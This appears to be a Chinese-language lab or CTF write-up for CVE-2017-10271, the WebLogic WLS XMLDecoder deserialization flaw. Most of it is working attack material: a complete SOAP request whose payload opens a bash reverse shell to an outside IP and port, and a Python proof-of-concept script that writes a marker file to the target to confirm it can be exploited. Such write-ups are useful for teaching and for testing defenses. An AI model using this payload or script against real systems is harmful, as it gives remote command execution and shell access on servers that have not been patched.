漏洞描述
CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限
受影响版本
10.3.6.0.0，12.1.3.0.0，12.2.1.1.0，12.2.1.2.0
环境搭建
使用vulfoces搭建漏洞环境
漏洞利用
- 访问地址http://47.101.62.20:27036/ 页面长这样
2. 访问http://47.101.62.20:27036/wls-wsat/CoordinatorPortType11，存在下图则有可能存在漏洞
3. 构造POC
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| POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: 47.101.62.20:27036
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 756
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/47.101.62.20/1234 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
|
- 成功反弹shell，执行命令得到flag
poc验证脚本
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| #!/usr/bin/env python
# coding:utf-8
import requests
from sys import argv
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'text/xml'
}
def Webogic_XMLDecoder_poc(url):
#url="http://47.101.62.20:27036"
posturl=url+'/wls-wsat/CoordinatorPortType'
data = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
<string>xmldecoder_vul_test</string></void><void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
print url
try:
r=requests.post(posturl,data=data,headers=headers,timeout=5)
geturl=url+"/wls-wsat/test.txt"
#print geturl
check_result = requests.get(geturl,headers=headers,timeout=5)
if 'xmldecoder_vul_test' in check_result.text:
print u"存在WebLogic WLS远程执行漏洞(CVE-2017-10271)"
except:
pass
if __name__ == '__main__':
if len(argv) == 1:
print "Please input python Webogic_XMLDecoder_poc.py http://xxxx:7001"
exit(0)
else:
url = argv[1]
Webogic_XMLDecoder_poc(url)
|